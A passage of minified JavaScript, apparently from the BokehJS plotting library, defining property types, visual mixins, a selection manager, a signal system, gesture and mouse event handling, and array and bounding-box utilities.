o.__extends(e,t),e}(d(\\\"Number\\\",function(t){return u.isNumber(t)||u.isBoolean(t)}));i.Number=b;var x=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(i.Int=b);i.Angle=x;var w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Number\\\",function(t){return(u.isNumber(t)||u.isBoolean(t))&&0<=t&&t<=1}));i.Percent=w;var k=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"String\\\",u.isString));i.String=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(i.FontSize=k);function C(t,e){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(t,function(t){return l.includes(e,t)}))}i.Font=S;var T=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}((i.enum_prop=C)(\\\"Anchor\\\",n.LegendLocation));i.Anchor=T;var A=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"AngleUnits\\\",n.AngleUnits));i.AngleUnits=A;var E=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.transform=function(t){for(var e=new Uint8Array(t.length),i=0;i<t.length;i++)switch(t[i]){case\\\"clock\\\":e[i]=0;break;case\\\"anticlock\\\":e[i]=1}return e},e}(C(\\\"Direction\\\",n.Direction));i.Direction=E;var M=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Dimension\\\",n.Dimension));i.Dimension=M;var O=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Dimensions\\\",n.Dimensions));i.Dimensions=O;var z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"FontStyle\\\",n.FontStyle));i.FontStyle=z;var P=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LatLon\\\",n.LatLon));i.LatLon=P;var j=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LineCap\\\",n.LineCap));i.LineCap=j;var N=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LineJoin\\\",n.LineJoin));i.LineJoin=N;var F=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LegendLocation\\\",n.LegendLocation));i.LegendLocation=F;var D=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Location\\\",n.Location));i.Location=D;var I=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"OutputBackend\\\",n.OutputBackend));i.OutputBackend=I;var R=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Orientation\\\",n.Orientation));i.Orientation=R;var B=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"VerticalAlign\\\",n.VerticalAlign));i.VerticalAlign=B;var L=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"TextAlign\\\",n.TextAlign));i.TextAlign=L;var V=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"TextBaseline\\\",n.TextBaseline));i.TextBaseline=V;var G=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"RenderLevel\\\",n.RenderLevel));i.RenderLevel=G;var U=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"RenderMode\\\",n.RenderMode));i.RenderMode=U;var q=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"SizingMode\\\",n.SizingMode));i.SizingMode=q;var Y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"SpatialUnits\\\",n.SpatialUnits));i.SpatialUnits=Y;var X=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Distribution\\\",n.Distribution));i.Distribution=X;var H=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"StepMode\\\",n.StepMode));i.StepMode=H;var W=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"PaddingUnits\\\",n.PaddingUnits));i.PaddingUnits=W;var J=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"StartEnd\\\",n.StartEnd));function Q(i,n,r){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.init=function(){null==this.spec.units&&(this.spec.units=r);var t=this.spec.units;if(!l.includes(n,t))throw new Error(i+\\\" units must be one of \\\"+n+\\\", given invalid value: \\\"+t)},Object.defineProperty(e.prototype,\\\"units\\\",{get:function(){return this.spec.units},set:function(t){this.spec.units=t},enumerable:!0,configurable:!0}),e}(b)}i.StartEnd=J;var $=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype.transform=function(t){return\\\"deg\\\"==this.spec.units&&(t=h.map(t,function(t){return t*Math.PI/180})),t=h.map(t,function(t){return-t}),e.prototype.transform.call(this,t)},t}((i.units_prop=Q)(\\\"AngleSpec\\\",n.AngleUnits,\\\"rad\\\"));(i.AngleSpec=$).prototype.dataspec=!0;var K=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(g);(i.ColorSpec=K).prototype.dataspec=!0;var Z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(Q(\\\"DistanceSpec\\\",n.SpatialUnits,\\\"data\\\"));(i.DistanceSpec=Z).prototype.dataspec=!0;var tt=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.FontSizeSpec=tt).prototype.dataspec=!0;var et=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.MarkerSpec=et).prototype.dataspec=!0;var it=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(b);(i.NumberSpec=it).prototype.dataspec=!0;var nt=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.StringSpec=nt).prototype.dataspec=!0},function(t,e,h){var i=t(15),u=t(32);function n(t,e){var i={};for(var n in t){var r=t[n];i[e+n]=r}return i}var r={line_color:[i.ColorSpec,\\\"black\\\"],line_width:[i.NumberSpec,1],line_alpha:[i.NumberSpec,1],line_join:[i.LineJoin,\\\"bevel\\\"],line_cap:[i.LineCap,\\\"butt\\\"],line_dash:[i.Array,[]],line_dash_offset:[i.Number,0]};h.line=function(t){return void 0===t&&(t=\\\"\\\"),n(r,t)};var o={fill_color:[i.ColorSpec,\\\"gray\\\"],fill_alpha:[i.NumberSpec,1]};h.fill=function(t){return void 0===t&&(t=\\\"\\\"),n(o,t)};var s={text_font:[i.Font,\\\"helvetica\\\"],text_font_size:[i.FontSizeSpec,\\\"12pt\\\"],text_font_style:[i.FontStyle,\\\"normal\\\"],text_color:[i.ColorSpec,\\\"#444444\\\"],text_alpha:[i.NumberSpec,1],text_align:[i.TextAlign,\\\"left\\\"],text_baseline:[i.TextBaseline,\\\"bottom\\\"],text_line_height:[i.Number,1.2]};h.text=function(t){return void 0===t&&(t=\\\"\\\"),n(s,t)},h.create=function(t){for(var e={},i=0,n=t;i<n.length;i++){var r=n[i],o=r.split(\\\":\\\"),s=o[0],a=o[1],l=void 0;switch(s){case\\\"line\\\":l=h.line;break;case\\\"fill\\\":l=h.fill;break;case\\\"text\\\":l=h.text;break;default:throw new Error(\\\"Unknown property mixin kind '\\\"+s+\\\"'\\\")}u.extend(e,l(a))}return e}},function(t,e,i){var n=t(391),r=t(8),o=t(197),p=t(185),d=t(186),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"SelectionManager\\\",this.internal({source:[s.Any]})},e.prototype.initialize=function(){t.prototype.initialize.call(this),this.inspectors={}},e.prototype.select=function(t,e,i,n){void 0===n&&(n=!1);for(var r=[],o=[],s=0,a=t;s<a.length;s++){var l=a[s];l instanceof p.GlyphRendererView?r.push(l):l instanceof d.GraphRendererView&&o.push(l)}for(var h=!1,u=0,c=o;u<c.length;u++){var l=c[u],_=l.model.selection_policy.hit_test(e,l);h=h||l.model.selection_policy.do_selection(_,l.model,i,n)}if(0<r.length){var _=this.source.selection_policy.hit_test(e,r);h=h||this.source.selection_policy.do_selection(_,this.source,i,n)}return h},e.prototype.inspect=function(t,e){var i=!1;if(t instanceof p.GlyphRendererView){var n=t.hit_test(e);if(null!=n){i=!n.is_empty();var r=this.get_or_create_inspector(t.model);r.update(n,!0,!1),this.source.setv({inspected:r},{silent:!0}),this.source.inspect.emit([t,{geometry:e}])}}else if(t instanceof d.GraphRendererView){var n=t.model.inspection_policy.hit_test(e,t);i=i||t.model.inspection_policy.do_inspection(n,e,t,!1,!1)}return i},e.prototype.clear=function(t){this.source.selected.clear(),null!=t&&this.get_or_create_inspector(t.model).clear()},e.prototype.get_or_create_inspector=function(t){return null==this.inspectors[t.id]&&(this.inspectors[t.id]=new o.Selection),this.inspectors[t.id]},e}(r.HasProps);(i.SelectionManager=a).initClass()},function(t,e,i){var n=function(){function t(){this._dev=!1}return Object.defineProperty(t.prototype,\\\"dev\\\",{get:function(){return this._dev},set:function(t){this._dev=t},enumerable:!0,configurable:!0}),t}();i.Settings=n,i.settings=new n},function(t,e,i){var n,r=t(391),o=t(29),s=t(25),a=t(21),l=function(){function t(t,e){this.sender=t,this.name=e}return t.prototype.connect=function(t,e){void 0===e&&(e=null),u.has(this.sender)||u.set(this.sender,[]);var i=u.get(this.sender);if(null!=_(i,this,t,e))return!1;var n=e||t;c.has(n)||c.set(n,[]);var r=c.get(n),o={signal:this,slot:t,context:e};return i.push(o),r.push(o),!0},t.prototype.disconnect=function(t,e){void 0===e&&(e=null);var i=u.get(this.sender);if(null==i||0===i.length)return!1;var n=_(i,this,t,e);if(null==n)return!1;var r=e||t,o=c.get(r);return n.signal=null,d(i),d(o),!0},t.prototype.emit=function(t){for(var e=u.get(this.sender)||[],i=0,n=e;i<n.length;i++){var r=n[i],o=r.signal,s=r.slot,a=r.context;o===this&&s.call(a,t,this.sender)}},t}(),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return r.__extends(e,t),e.prototype.emit=function(){t.prototype.emit.call(this,void 0)},e}(i.Signal=l);i.Signal0=h,(n=l=i.Signal||(i.Signal={})).disconnectBetween=function(t,e){var i=u.get(t);if(null!=i&&0!==i.length){var n=c.get(e);if(null!=n&&0!==n.length){for(var r=0,o=n;r<o.length;r++){var s=o[r];if(null==s.signal)return;s.signal.sender===t&&(s.signal=null)}d(i),d(n)}}},n.disconnectSender=function(t){var e=u.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null==r.signal)return;var o=r.context||r.slot;r.signal=null,d(c.get(o))}d(e)}},n.disconnectReceiver=function(t){var e=c.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null==r.signal)return;var o=r.signal.sender;r.signal=null,d(u.get(o))}d(e)}},n.disconnectAll=function(t){var e=u.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];r.signal=null}d(e)}var o=c.get(t);if(null!=o&&0!==o.length){for(var s=0,a=o;s<a.length;s++){var r=a[s];r.signal=null}d(o)}},i.Signal=l,i.Signalable=function(t){return null!=t?function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return r.__extends(e,t),e.prototype.connect=function(t,e){return t.connect(e,this)},e}(t):function(){function t(){}return t.prototype.connect=function(t,e){return t.connect(e,this)},t}()},(i._Signalable||(i._Signalable={})).connect=function(t,e){return t.connect(e,this)};var u=new WeakMap,c=new WeakMap;function _(t,e,i,n){return a.find(t,function(t){return t.signal===e&&t.slot===i&&t.context===n})}var p=new o.Set;function d(t){0===p.size&&s.defer(f),p.add(t)}function f(){p.forEach(function(t){a.removeBy(t,function(t){return null==t.signal})}),p.clear()}},function(t,e,d){var i=t(391),o=t(347),s=t(19),a=t(14),l=t(5),n=t(45),h=t(21),f=t(32),r=t(44),u=t(3);d.is_mobile=\\\"ontouchstart\\\"in window||0<navigator.maxTouchPoints;var c=function(){function t(t,e,i,n){var r=this;this.plot_view=t,this.toolbar=e,this.hit_area=i,this.plot=n,this.pan_start=new s.Signal(this,\\\"pan:start\\\"),this.pan=new s.Signal(this,\\\"pan\\\"),this.pan_end=new s.Signal(this,\\\"pan:end\\\"),this.pinch_start=new s.Signal(this,\\\"pinch:start\\\"),this.pinch=new s.Signal(this,\\\"pinch\\\"),this.pinch_end=new s.Signal(this,\\\"pinch:end\\\"),this.rotate_start=new s.Signal(this,\\\"rotate:start\\\"),this.rotate=new s.Signal(this,\\\"rotate\\\"),this.rotate_end=new s.Signal(this,\\\"rotate:end\\\"),this.tap=new s.Signal(this,\\\"tap\\\"),this.doubletap=new s.Signal(this,\\\"doubletap\\\"),this.press=new s.Signal(this,\\\"press\\\"),this.move_enter=new s.Signal(this,\\\"move:enter\\\"),this.move=new s.Signal(this,\\\"move\\\"),this.move_exit=new s.Signal(this,\\\"move:exit\\\"),this.scroll=new s.Signal(this,\\\"scroll\\\"),this.keydown=new s.Signal(this,\\\"keydown\\\"),this.keyup=new s.Signal(this,\\\"keyup\\\"),this.hammer=new o(this.hit_area),this._configure_hammerjs(),this.hit_area.addEventListener(\\\"mousemove\\\",function(t){return r._mouse_move(t)}),this.hit_area.addEventListener(\\\"mouseenter\\\",function(t){return r._mouse_enter(t)}),this.hit_area.addEventListener(\\\"mouseleave\\\",function(t){return r._mouse_exit(t)}),this.hit_area.addEventListener(\\\"wheel\\\",function(t){return r._mouse_wheel(t)}),document.addEventListener(\\\"keydown\\\",this),document.addEventListener(\\\"keyup\\\",this)}return t.prototype.destroy=function(){this.hammer.destroy(),document.removeEventListener(\\\"keydown\\\",this),document.removeEventListener(\\\"keyup\\\",this)},t.prototype.handleEvent=function(t){\\\"keydown\\\"==t.type?this._key_down(t):\\\"keyup\\\"==t.type&&this._key_up(t)},t.prototype._configure_hammerjs=function(){var e=this;this.hammer.get(\\\"doubletap\\\").recognizeWith(\\\"tap\\\"),this.hammer.get(\\\"tap\\\").requireFailure(\\\"doubletap\\\"),this.hammer.get(\\\"doubletap\\\").dropRequireFailure(\\\"tap\\\"),this.hammer.on(\\\"doubletap\\\",function(t){return e._doubletap(t)}),this.hammer.on(\\\"tap\\\",function(t){return e._tap(t)}),this.hammer.on(\\\"press\\\",function(t){return e._press(t)}),this.hammer.get(\\\"pan\\\").set({direction:o.DIRECTION_ALL}),this.hammer.on(\\\"panstart\\\",function(t){return e._pan_start(t)}),this.hammer.on(\\\"pan\\\",function(t){return e._pan(t)}),this.hammer.on(\\\"panend\\\",function(t){return e._pan_end(t)}),this.hammer.get(\\\"pinch\\\").set({enable:!0}),this.hammer.on(\\\"pinchstart\\\",function(t){return e._pinch_start(t)}),this.hammer.on(\\\"pinch\\\",function(t){return e._pinch(t)}),this.hammer.on(\\\"pinchend\\\",function(t){return e._pinch_end(t)}),this.hammer.get(\\\"rotate\\\").set({enable:!0}),this.hammer.on(\\\"rotatestart\\\",function(t){return e._rotate_start(t)}),this.hammer.on(\\\"rotate\\\",function(t){return e._rotate(t)}),this.hammer.on(\\\"rotateend\\\",function(t){return e._rotate_end(t)})},t.prototype.register_tool=function(i){var n=this,t=i.model.event_type;null!=t&&(r.isString(t)?this._register_tool(i,t):t.forEach(function(t,e){return n._register_tool(i,t,e<1)}))},t.prototype._register_tool=function(t,e,i){void 0===i&&(i=!0);var n=t,r=n.model.id,o=function(e){return function(t){t.id==r&&e(t.e)}},s=function(e){return function(t){e(t.e)}};switch(e){case\\\"pan\\\":null!=n._pan_start&&n.connect(this.pan_start,o(n._pan_start.bind(n))),null!=n._pan&&n.connect(this.pan,o(n._pan.bind(n))),null!=n._pan_end&&n.connect(this.pan_end,o(n._pan_end.bind(n)));break;case\\\"pinch\\\":null!=n._pinch_start&&n.connect(this.pinch_start,o(n._pinch_start.bind(n))),null!=n._pinch&&n.connect(this.pinch,o(n._pinch.bind(n))),null!=n._pinch_end&&n.connect(this.pinch_end,o(n._pinch_end.bind(n)));break;case\\\"rotate\\\":null!=n._rotate_start&&n.connect(this.rotate_start,o(n._rotate_start.bind(n))),null!=n._rotate&&n.connect(this.rotate,o(n._rotate.bind(n))),null!=n._rotate_end&&n.connect(this.rotate_end,o(n._rotate_end.bind(n)));break;case\\\"move\\\":null!=n._move_enter&&n.connect(this.move_enter,o(n._move_enter.bind(n))),null!=n._move&&n.connect(this.move,o(n._move.bind(n))),null!=n._move_exit&&n.connect(this.move_exit,o(n._move_exit.bind(n)));break;case\\\"tap\\\":null!=n._tap&&n.connect(this.tap,o(n._tap.bind(n)));break;case\\\"press\\\":null!=n._press&&n.connect(this.press,o(n._press.bind(n)));break;case\\\"scroll\\\":null!=n._scroll&&n.connect(this.scroll,o(n._scroll.bind(n)));break;default:throw new Error(\\\"unsupported event_type: \\\"+e)}i&&(null!=n._doubletap&&n.connect(this.doubletap,s(n._doubletap.bind(n))),null!=n._keydown&&n.connect(this.keydown,s(n._keydown.bind(n))),null!=n._keyup&&n.connect(this.keyup,s(n._keyup.bind(n))),d.is_mobile&&null!=n._scroll&&\\\"pinch\\\"==e&&(a.logger.debug(\\\"Registering scroll on touch screen\\\"),n.connect(this.scroll,o(n._scroll.bind(n)))))},t.prototype._hit_test_renderers=function(t,e){for(var i=this.plot_view.get_renderer_views(),n=0,r=h.reversed(i);n<r.length;n++){var o=r[n],s=o.model.level;if((\\\"annotation\\\"==s||\\\"overlay\\\"==s)&&null!=o.interactive_hit&&o.interactive_hit(t,e))return o}return null},t.prototype._hit_test_frame=function(t,e){return this.plot_view.frame.bbox.contains(t,e)},t.prototype._hit_test_canvas=function(t,e){return this.plot_view.canvas.bbox.contains(t,e)},t.prototype._trigger=function(e,i,t){var n=this,r=this.toolbar.gestures,o=e.name,s=o.split(\\\":\\\")[0],a=this._hit_test_renderers(i.sx,i.sy),l=this._hit_test_canvas(i.sx,i.sy);switch(s){case\\\"move\\\":var h=r[s].active;null!=h&&this.trigger(e,i,h.id);var u=this.toolbar.inspectors.filter(function(t){return t.active}),c=\\\"default\\\";null!=a?(c=a.cursor(i.sx,i.sy)||c,f.isEmpty(u)||(e=this.move_exit,o=e.name)):this._hit_test_frame(i.sx,i.sy)&&(f.isEmpty(u)||(c=\\\"crosshair\\\")),this.plot_view.set_cursor(c),this.plot_view.set_toolbar_visibility(l),u.map(function(t){return n.trigger(e,i,t.id)});break;case\\\"tap\\\":var _=t.target;if(null!=_&&_!=this.hit_area)return;null!=a&&null!=a.on_hit&&a.on_hit(i.sx,i.sy);var h=r[s].active;null!=h&&this.trigger(e,i,h.id);break;case\\\"scroll\\\":var p=d.is_mobile?\\\"pinch\\\":\\\"scroll\\\",h=r[p].active;null!=h&&(t.preventDefault(),t.stopPropagation(),this.trigger(e,i,h.id));break;default:var h=r[s].active;null!=h&&this.trigger(e,i,h.id)}this._trigger_bokeh_event(i)},t.prototype.trigger=function(t,e,i){void 0===i&&(i=null),t.emit({id:i,e:e})},t.prototype._trigger_bokeh_event=function(t){var e=u.BokehEvent.event_class(t);null!=e?this.plot.trigger_event(e.from_event(t)):a.logger.debug(\\\"Unhandled event of type \\\"+t.type)},t.prototype._get_sxy=function(t){var e,i=(e=t,\\\"undefined\\\"!=typeof TouchEvent&&e instanceof TouchEvent?(0!=t.touches.length?t.touches:t.changedTouches)[0]:t),n=i.pageX,r=i.pageY,o=l.offset(this.hit_area),s=o.left,a=o.top;return{sx:n-s,sy:r-a}},t.prototype._gesture_event=function(t){return i.__assign({type:t.type},this._get_sxy(t.srcEvent),{deltaX:t.deltaX,deltaY:t.deltaY,scale:t.scale,shiftKey:t.srcEvent.shiftKey})},t.prototype._tap_event=function(t){return i.__assign({type:t.type},this._get_sxy(t.srcEvent),{shiftKey:t.srcEvent.shiftKey})},t.prototype._move_event=function(t){return i.__assign({type:t.type},this._get_sxy(t))},t.prototype._scroll_event=function(t){return i.__assign({type:t.type},this._get_sxy(t),{delta:n.getDeltaY(t)})},t.prototype._key_event=function(t){return{type:t.type,keyCode:t.keyCode}},t.prototype._pan_start=function(t){var e=this._gesture_event(t);e.sx-=t.deltaX,e.sy-=t.deltaY,this._trigger(this.pan_start,e,t.srcEvent)},t.prototype._pan=function(t){this._trigger(this.pan,this._gesture_event(t),t.srcEvent)},t.prototype._pan_end=function(t){this._trigger(this.pan_end,this._gesture_event(t),t.srcEvent)},t.prototype._pinch_start=function(t){this._trigger(this.pinch_start,this._gesture_event(t),t.srcEvent)},t.prototype._pinch=function(t){this._trigger(this.pinch,this._gesture_event(t),t.srcEvent)},t.prototype._pinch_end=function(t){this._trigger(this.pinch_end,this._gesture_event(t),t.srcEvent)},t.prototype._rotate_start=function(t){this._trigger(this.rotate_start,this._gesture_event(t),t.srcEvent)},t.prototype._rotate=function(t){this._trigger(this.rotate,this._gesture_event(t),t.srcEvent)},t.prototype._rotate_end=function(t){this._trigger(this.rotate_end,this._gesture_event(t),t.srcEvent)},t.prototype._tap=function(t){this._trigger(this.tap,this._tap_event(t),t.srcEvent)},t.prototype._doubletap=function(t){var e=this._tap_event(t);this._trigger_bokeh_event(e),this.trigger(this.doubletap,e)},t.prototype._press=function(t){this._trigger(this.press,this._tap_event(t),t.srcEvent)},t.prototype._mouse_enter=function(t){this._trigger(this.move_enter,this._move_event(t),t)},t.prototype._mouse_move=function(t){this._trigger(this.move,this._move_event(t),t)},t.prototype._mouse_exit=function(t){this._trigger(this.move_exit,this._move_event(t),t)},t.prototype._mouse_wheel=function(t){this._trigger(this.scroll,this._scroll_event(t),t)},t.prototype._key_down=function(t){this.trigger(this.keydown,this._key_event(t))},t.prototype._key_up=function(t){this.trigger(this.keyup,this._key_event(t))},t}();d.UIEvents=c},function(t,e,n){var o=t(31),u=t(23),i=t(22);n.min=i.min,n.minBy=i.minBy,n.max=i.max,n.maxBy=i.maxBy,n.sum=i.sum;var r=Array.prototype.slice;function s(t){var e;return(e=[]).concat.apply(e,t)}function c(t,e){return-1!==t.indexOf(e)}function a(t,e,i){void 0===i&&(i=1),u.assert(0<i,\\\"'step' must be a positive number\\\"),null==e&&(e=t,t=0);for(var n=Math.max,r=Math.ceil,o=Math.abs,s=t<=e?i:-i,a=n(r(o(e-t)/i),0),l=Array(a),h=0;h<a;h++,t+=s)l[h]=t;return l}function l(r){return function(t,e){for(var i=t.length,n=0<r?0:i-1;0<=n&&n<i;n+=r)if(e(t[n]))return n;return-1}}function h(t){for(var e=[],i=0,n=t;i<n.length;i++){var r=n[i];c(e,r)||e.push(r)}return e}n.head=function(t){return t[0]},n.tail=function(t){return t[t.length-1]},n.last=function(t){return t[t.length-1]},n.copy=function(t){return r.call(t)},n.concat=s,n.includes=c,n.contains=c,n.nth=function(t,e){return t[0<=e?e:t.length+e]},n.zip=function(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=0;r<i;r++)n[r]=[t[r],e[r]];return n},n.unzip=function(t){for(var e,i=t.length,n=new Array(i),r=new Array(i),o=0;o<i;o++)e=t[o],n[o]=e[0],r[o]=e[1];return[n,r]},n.range=a,n.linspace=function(t,e,i){void 0===i&&(i=100);for(var n=(e-t)/(i-1),r=new Array(i),o=0;o<i;o++)r[o]=t+n*o;return r},n.transpose=function(t){for(var e=t.length,i=t[0].length,n=[],r=0;r<i;r++){n[r]=[];for(var o=0;o<e;o++)n[r][o]=t[o][r]}return n},n.cumsum=function(t){var n=[];return t.reduce(function(t,e,i){return n[i]=t+e},0),n},n.argmin=function(e){return i.minBy(a(e.length),function(t){return e[t]})},n.argmax=function(e){return i.maxBy(a(e.length),function(t){return e[t]})},n.all=function(t,e){for(var i=0,n=t;i<n.length;i++){var r=n[i];if(!e(r))return!1}return!0},n.any=function(t,e){for(var i=0,n=t;i<n.length;i++){var r=n[i];if(e(r))return!0}return!1},n.findIndex=l(1),n.findLastIndex=l(-1),n.find=function(t,e){var i=n.findIndex(t,e);return-1==i?void 0:t[i]},n.findLast=function(t,e){var i=n.findLastIndex(t,e);return-1==i?void 0:t[i]},n.sortedIndex=function(t,e){for(var i=0,n=t.length;i<n;){var r=Math.floor((i+n)/2);t[r]<e?i=r+1:n=r}return i},n.sortBy=function(t,i){var e=t.map(function(t,e){return{value:t,index:e,key:i(t)}});return e.sort(function(t,e){var i=t.key,n=e.key;if(i!==n){if(n<i||void 0===i)return 1;if(i<n||void 0===n)return-1}return t.index-e.index}),e.map(function(t){return t.value})},n.uniq=h,n.uniqBy=function(t,e){for(var i=[],n=[],r=0,o=t;r<o.length;r++){var s=o[r],a=e(s);c(n,a)||(n.push(a),i.push(s))}return i},n.union=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return h(s(t))},n.intersection=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=[];t:for(var r=0,o=t;r<o.length;r++){var s=o[r];if(!c(n,s)){for(var a=0,l=e;a<l.length;a++){var h=l[a];if(!c(h,s))continue t}n.push(s)}}return n},n.difference=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=s(e);return t.filter(function(t){return!c(n,t)})},n.removeBy=function(t,e){for(var i=0;i<t.length;)e(t[i])?t.splice(i,1):i++},n.shuffle=function(t){for(var e=t.length,i=new Array(e),n=0;n<e;n++){var r=o.randomIn(0,n);r!==n&&(i[n]=i[r]),i[r]=t[n]}return i},n.pairwise=function(t,e){for(var i=t.length,n=new Array(i-1),r=0;r<i-1;r++)n[r]=e(t[r],t[r+1]);return n},n.reversed=function(t){for(var e=t.length,i=new Array(e),n=0;n<e;n++)i[e-n-1]=t[n];return i},n.repeat=function(t,e){for(var i=new Array(e),n=0;n<e;n++)i[n]=t;return i}},function(t,e,i){function n(t,e,i){for(var n=[],r=3;r<arguments.length;r++)n[r-3]=arguments[r];var o=t.length;e<0&&(e+=o),e<0?e=0:o<e&&(e=o),null==i||o-e<i?i=o-e:i<0&&(i=0);for(var s=o-i+n.length,a=new t.constructor(s),l=0;l<e;l++)a[l]=t[l];for(var h=0,u=n;h<u.length;h++){var c=u[h];a[l++]=c}for(var _=e+i;_<o;_++)a[l++]=t[_];return a}i.splice=n,i.insert=function(t,e,i){return n(t,i,0,e)},i.append=function(t,e){return n(t,t.length,0,e)},i.prepend=function(t,e){return n(t,0,0,e)},i.indexOf=function(t,e){for(var i=0,n=t.length;i<n;i++)if(t[i]===e)return i;return-1},i.map=function(t,e){for(var i=t.length,n=new t.constructor(i),r=0;r<i;r++)n[r]=e(t[r],r,t);return n},i.min=function(t){for(var e,i=1/0,n=0,r=t.length;n<r;n++)(e=t[n])<i&&(i=e);return i},i.minBy=function(t,e){if(0==t.length)throw new Error(\\\"minBy() called with an empty array\\\");for(var i=t[0],n=e(i),r=1,o=t.length;r<o;r++){var s=t[r],a=e(s);a<n&&(i=s,n=a)}return i},i.max=function(t){for(var e,i=-1/0,n=0,r=t.length;n<r;n++)e=t[n],i<e&&(i=e);return i},i.maxBy=function(t,e){if(0==t.length)throw new Error(\\\"maxBy() called with an empty array\\\");for(var i=t[0],n=e(i),r=1,o=t.length;r<o;r++){var s=t[r],a=e(s);n<a&&(i=s,n=a)}return i},i.sum=function(t){for(var e=0,i=0,n=t.length;i<n;i++)e+=t[i];return e}},function(t,e,i){var n=t(391),r=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(Error);i.AssertionError=r,i.assert=function(t,e){if(!(!0===t||!1!==t&&t()))throw new r(e||\\\"Assertion failed\\\")}},function(t,e,i){var n=Math.min,r=Math.max;i.empty=function(){return{minX:1/0,minY:1/0,maxX:-1/0,maxY:-1/0}},i.positive_x=function(){return{minX:Number.MIN_VALUE,minY:-1/0,maxX:1/0,maxY:1/0}},i.positive_y=function(){return{minX:-1/0,minY:Number.MIN_VALUE,maxX:1/0,maxY:1/0}},i.union=function(t,e){return{minX:n(t.minX,e.minX),maxX:r(t.maxX,e.maxX),minY:n(t.minY,e.minY),maxY:r(t.maxY,e.maxY)}};var o=function(){function e(t){if(\\\"x0\\\"in t&&\\\"y0\\\"in t&&\\\"x1\\\"in t&&\\\"y1\\\"in t){var e=t,i=e.x0,n=e.y0,r=e.x1,o=e.y1;if(!(i<=r&&n<=o))throw new Error(\\\"invalid bbox {x0: \\\"+i+\\\", y0: \\\"+n+\\\", x1: \\\"+r+\\\", y1: \\\"+o+\\\"}\\\");this.x0=i,this.y0=n,this.x1=r,this.y1=o}else{var s=t,a=s.x,l=s.y,h=s.width,u=s.height;if(!(0<=h&&0<=u))throw new Error(\\\"invalid bbox {x: \\\"+a+\\\", y: \\\"+l+\\\", width: \\\"+h+\\\", height: \\\"+u+\\\"}\\\");this.x0=a,this.y0=l,this.x1=a+h,this.y1=l+u}}return Object.defineProperty(e.prototype,\\\"minX\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"minY\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"maxX\\\",{get:function(){return 